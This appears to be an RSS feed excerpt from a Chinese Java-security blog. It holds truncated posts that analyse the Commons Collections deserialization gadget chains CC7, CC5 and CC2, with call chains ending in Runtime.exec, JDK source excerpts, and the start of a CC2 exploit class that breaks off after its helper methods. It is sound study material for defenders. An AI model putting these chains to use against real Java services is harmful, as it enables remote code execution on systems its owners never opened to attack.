 &lt;a class="anchor" href="#java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b9%8bcc7"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="cc7-链分析"&gt;
 CC7 链分析
 &lt;a class="anchor" href="#cc7-%e9%93%be%e5%88%86%e6%9e%90"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;CC7 的后半段链子和 CC1 是一样的，前半段先看一下 yso 的链子：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;java.util.Hashtable.readObject
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;java.util.Hashtable.reconstitutionPut
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;org.apache.commons.collections.map.AbstractMapDecorator.equals
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;java.util.AbstractMap.equals
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;org.apache.commons.collections.map.LazyMap.get
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;org.apache.commons.collections.functors.ChainedTransformer.transform
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;org.apache.commons.collections.functors.InvokerTransformer.transform
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;java.lang.reflect.Method.invoke
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sun.reflect.DelegatingMethodAccessorImpl.invoke
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sun.reflect.NativeMethodAccessorImpl.invoke
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sun.reflect.NativeMethodAccessorImpl.invoke0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;java.lang.Runtime.exec
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;入口类是&lt;code&gt;Hashtable&lt;/code&gt;，看一下&lt;code&gt;readObject&lt;/code&gt;方法的源码：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;readObject&lt;/span&gt;(java.&lt;span style="color:#a6e22e"&gt;io&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;ObjectInputStream&lt;/span&gt; s)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;throws&lt;/span&gt; IOException, ClassNotFoundException
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Read in the length, threshold, and loadfactor&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; s.&lt;span style="color:#a6e22e"&gt;defaultReadObject&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Read the original length of the array and number of elements&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; origlength &lt;span style="color:#f92672"&gt;=&lt;/span&gt; s.&lt;span style="color:#a6e22e"&gt;readInt&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; elements &lt;span style="color:#f92672"&gt;=&lt;/span&gt; s.&lt;span style="color:#a6e22e"&gt;readInt&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Compute new size with a bit of room 5% to grow but&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// no larger than the original size. Make the length&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// odd if it&amp;#39;s large enough, this helps distribute the entries.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Guard against the length ending up zero, that&amp;#39;s not valid.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; length &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;int&lt;/span&gt;)(elements &lt;span style="color:#f92672"&gt;*&lt;/span&gt; loadFactor) &lt;span style="color:#f92672"&gt;+&lt;/span&gt; (elements &lt;span style="color:#f92672"&gt;/&lt;/span&gt; 20) &lt;span style="color:#f92672"&gt;+&lt;/span&gt; 3;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (length &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; elements &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; (length &lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt; 1) &lt;span style="color:#f92672"&gt;==&lt;/span&gt; 0)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; length&lt;span style="color:#f92672"&gt;--&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (origlength &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; 0 &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; length &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; origlength)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; length &lt;span style="color:#f92672"&gt;=&lt;/span&gt; origlength;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; table &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Entry&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;,&lt;span style="color:#f92672"&gt;?&amp;gt;[&lt;/span&gt;length&lt;span style="color:#f92672"&gt;]&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; threshold &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;int&lt;/span&gt;)Math.&lt;span style="color:#a6e22e"&gt;min&lt;/span&gt;(length &lt;span style="color:#f92672"&gt;*&lt;/span&gt; loadFactor, MAX_ARRAY_SIZE &lt;span style="color:#f92672"&gt;+&lt;/span&gt; 1);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; count &lt;span style="color:#f92672"&gt;=&lt;/span&gt; 0;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Read the number of elements and then all the key/value objects&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (; elements &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; 0; elements&lt;span style="color:#f92672"&gt;--&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;@SuppressWarnings&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;unchecked&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; K key &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (K)s.&lt;span style="color:#a6e22e"&gt;readObject&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;@SuppressWarnings&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;unchecked&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; V value &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (V)s.&lt;span style="color:#a6e22e"&gt;readObject&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// synch could be eliminated for performance&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; reconstitutionPut(table, key, value);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在最后调用了&lt;code&gt;Hashtable.reconstitutionPut()&lt;/code&gt;方法，跟进一下：&lt;/p&gt;</description></item><item><title>java反序列化之CC5</title><link>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcc5/</link><pubDate>Tue, 19 May 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcc5/</guid><description>&lt;h1 id="java反序列化之cc5"&gt;
 java反序列化之CC5
 &lt;a class="anchor" href="#java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b9%8bcc5"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="cc5-链分析"&gt;
 CC5 链分析
 &lt;a class="anchor" href="#cc5-%e9%93%be%e5%88%86%e6%9e%90"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;先看一下 yso 给的 CC5 链子：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ObjectInputStream.readObject()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -&amp;gt; BadAttributeValueExpException.readObject()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -&amp;gt; TiedMapEntry.toString()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -&amp;gt; TiedMapEntry.getValue()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -&amp;gt; LazyMap.get()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -&amp;gt; ChainedTransformer.transform()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -&amp;gt; InvokerTransformer.transform() (反射调用)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -&amp;gt; Runtime.exec()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;入口类是&lt;code&gt;BadAttributeValueExpException&lt;/code&gt;的&lt;code&gt;readObject()&lt;/code&gt;方法，反序列化漏洞的起点一般都是&lt;code&gt;readObject&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;toString()&lt;/code&gt;方法实在太多，就从头开始分析。&lt;/p&gt;
&lt;p&gt;首先是&lt;code&gt;BadAttributeValueExpException&lt;/code&gt;类的&lt;code&gt;readObject&lt;/code&gt;方法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;readObject&lt;/span&gt;(ObjectInputStream ois) &lt;span style="color:#66d9ef"&gt;throws&lt;/span&gt; IOException, ClassNotFoundException {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ObjectInputStream.&lt;span style="color:#a6e22e"&gt;GetField&lt;/span&gt; gf &lt;span style="color:#f92672"&gt;=&lt;/span&gt; ois.&lt;span style="color:#a6e22e"&gt;readFields&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Object valObj &lt;span style="color:#f92672"&gt;=&lt;/span&gt; gf.&lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;val&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (valObj &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; val &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (valObj &lt;span style="color:#66d9ef"&gt;instanceof&lt;/span&gt; String) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; val&lt;span style="color:#f92672"&gt;=&lt;/span&gt; valObj;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (System.&lt;span style="color:#a6e22e"&gt;getSecurityManager&lt;/span&gt;() &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; valObj &lt;span style="color:#66d9ef"&gt;instanceof&lt;/span&gt; Long
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; valObj &lt;span style="color:#66d9ef"&gt;instanceof&lt;/span&gt; Integer
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; valObj &lt;span style="color:#66d9ef"&gt;instanceof&lt;/span&gt; Float
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; valObj &lt;span style="color:#66d9ef"&gt;instanceof&lt;/span&gt; Double
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; valObj &lt;span style="color:#66d9ef"&gt;instanceof&lt;/span&gt; Byte
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; valObj &lt;span style="color:#66d9ef"&gt;instanceof&lt;/span&gt; Short
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; valObj &lt;span style="color:#66d9ef"&gt;instanceof&lt;/span&gt; Boolean) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; val &lt;span style="color:#f92672"&gt;=&lt;/span&gt; valObj.&lt;span style="color:#a6e22e"&gt;toString&lt;/span&gt;(); &lt;span style="color:#75715e"&gt;//这里是调用链的一环&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; { &lt;span style="color:#75715e"&gt;// the serialized object is from a version without JDK-8019292 fix&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; val &lt;span style="color:#f92672"&gt;=&lt;/span&gt; System.&lt;span style="color:#a6e22e"&gt;identityHashCode&lt;/span&gt;(valObj) &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;@&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; valObj.&lt;span style="color:#a6e22e"&gt;getClass&lt;/span&gt;().&lt;span style="color:#a6e22e"&gt;getName&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里就调用了&lt;code&gt;toString()&lt;/code&gt;方法，根据 yso 的链子，接下来是&lt;code&gt;TiedMapEntry&lt;/code&gt;类的&lt;code&gt;toString()&lt;/code&gt;方法：&lt;/p&gt;</description></item><item><title>java反序列化之CC2</title><link>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcc2/</link><pubDate>Mon, 18 May 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcc2/</guid><description>&lt;h1 id="java反序列化之cc2"&gt;
 java反序列化之CC2
 &lt;a class="anchor" href="#java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b9%8bcc2"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="cc2-链分析"&gt;
 CC2 链分析
 &lt;a class="anchor" href="#cc2-%e9%93%be%e5%88%86%e6%9e%90"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;CC2 这条链子是在 CC4 的基础上修改了一部分，主要是为了避免使用&lt;code&gt;Transformer&lt;/code&gt;数组。&lt;/p&gt;
&lt;p&gt;在 CC4 的基础上，抛弃了用&lt;code&gt;InstantiateTransformer&lt;/code&gt;类将&lt;code&gt;TrAXFilter&lt;/code&gt;初始化，以及 &lt;code&gt;TemplatesImpl.newTransformer()&lt;/code&gt; 这个步骤。&lt;/p&gt;
&lt;p&gt;CC2 的前半部分，还是和&lt;code&gt;compare()&lt;/code&gt;方法相关，最后是&lt;code&gt;TemplatesImpl&lt;/code&gt;动态加载字节码，和 CC4 最后部分是一样的。而难点就在&lt;code&gt;InvokerTransformer&lt;/code&gt;的连接。&lt;/p&gt;
&lt;h2 id="exp-编写"&gt;
 EXP 编写
 &lt;a class="anchor" href="#exp-%e7%bc%96%e5%86%99"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;先回顾一下调用链：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;入口类我们选择&lt;code&gt;PriorityQueue&lt;/code&gt;，因为这个类实现了&lt;code&gt;java.io.Serializable&lt;/code&gt;接口，也有重写的&lt;code&gt;readObject&lt;/code&gt;方法，在&lt;code&gt;readObject&lt;/code&gt;方法中调用了&lt;code&gt;PriorityQueue.heapify()&lt;/code&gt;，&lt;code&gt;heapify()&lt;/code&gt;方法中调用了&lt;code&gt;PriorityQueue.siftDown()&lt;/code&gt;方法，&lt;code&gt;siftDown()&lt;/code&gt;方法中调用了&lt;code&gt;PriorityQueue.siftDownUsingComparator()&lt;/code&gt;方法，&lt;code&gt;siftDownUsingComparator()&lt;/code&gt;方法中会调用&lt;code&gt;comparator&lt;/code&gt;属性的&lt;code&gt;compare()&lt;/code&gt;方法。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;此时我们把&lt;code&gt;comparator&lt;/code&gt;属性初始化为&lt;code&gt;TransformingComparator&lt;/code&gt;对象，就会调用&lt;code&gt;TransformingComparator&lt;/code&gt;对象的&lt;code&gt;compare()&lt;/code&gt;方法，&lt;code&gt;compare()&lt;/code&gt;方法中会调用&lt;code&gt;transformer&lt;/code&gt;属性的&lt;code&gt;transform()&lt;/code&gt;方法，&lt;code&gt;transformer&lt;/code&gt;属性是在我们实例化这个类的时候传的参数赋值的，所以我们传一个&lt;code&gt;InvokerTransformer&lt;/code&gt;对象，就会调用&lt;code&gt;transform&lt;/code&gt;方法实现反射调用任意类。&lt;/p&gt;
&lt;p&gt;但目前有一个问题，调用&lt;code&gt;InvokerTransformer.transform()&lt;/code&gt;传的参数要是我们实例化的&lt;code&gt;TemplatesImpl&lt;/code&gt;，但是是怎么把这个参数传递进去的？在 CC4 中分析过，我们要对&lt;code&gt;priorityQueue&lt;/code&gt;这个对象&lt;code&gt;add&lt;/code&gt;两次才能运行，这里关键就在于这个&lt;code&gt;add&lt;/code&gt;。
在 CC4 中也分析过，调用&lt;code&gt;add&lt;/code&gt;方法也会触发&lt;code&gt;compare()&lt;/code&gt;方法，这样就会导致没有进行序列化时就加载了字节码。所以我们会先把&lt;code&gt;TransformingComparator&lt;/code&gt;的&lt;code&gt;transformer&lt;/code&gt;属性设置为一个无关值，等&lt;code&gt;add&lt;/code&gt;完之后在反射改回来。同时，如果我们&lt;code&gt;add(templates)&lt;/code&gt;两次，这样不仅能够进入循环，还能把&lt;code&gt;templates&lt;/code&gt;传入&lt;code&gt;compare()&lt;/code&gt;方法，从而实现调用到&lt;code&gt;InvokerTransformer.transform(templates)&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这样就进入&lt;code&gt;InvokerTransformer&lt;/code&gt;的反射调用环节，如果我们想要动态加载字节码，此时需要调用&lt;code&gt;templates&lt;/code&gt;的&lt;code&gt;newTransformer&lt;/code&gt;方法，我们把&lt;code&gt;newTransformer&lt;/code&gt;方法放到&lt;code&gt;InvokerTransformer.transform()&lt;/code&gt;方法中去就能实现。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="完整exp"&gt;
 完整EXP
 &lt;a class="anchor" href="#%e5%ae%8c%e6%95%b4exp"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;package&lt;/span&gt; org.example;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; org.apache.commons.collections4.comparators.TransformingComparator;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; org.apache.commons.collections4.functors.ConstantTransformer;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; org.apache.commons.collections4.functors.InvokerTransformer;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; java.io.*;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; java.lang.reflect.Field;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; java.nio.file.Files;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; java.nio.file.Paths;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; java.util.PriorityQueue;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;test&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;serialize&lt;/span&gt;(Object obj) &lt;span style="color:#66d9ef"&gt;throws&lt;/span&gt; Exception {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ObjectOutputStream oos &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; ObjectOutputStream(&lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; FileOutputStream(&lt;span style="color:#e6db74"&gt;&amp;#34;ser.bin&amp;#34;&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; oos.&lt;span style="color:#a6e22e"&gt;writeObject&lt;/span&gt;(obj);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; Object &lt;span style="color:#a6e22e"&gt;unserialize&lt;/span&gt;(String Filename) &lt;span style="color:#66d9ef"&gt;throws&lt;/span&gt; Exception {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ObjectInputStream ois &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; ObjectInputStream(&lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; FileInputStream(Filename));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Object obj &lt;span style="color:#f92672"&gt;=&lt;/span&gt; ois.&lt;span style="color:#a6e22e"&gt;readObject&lt;/span&gt;();
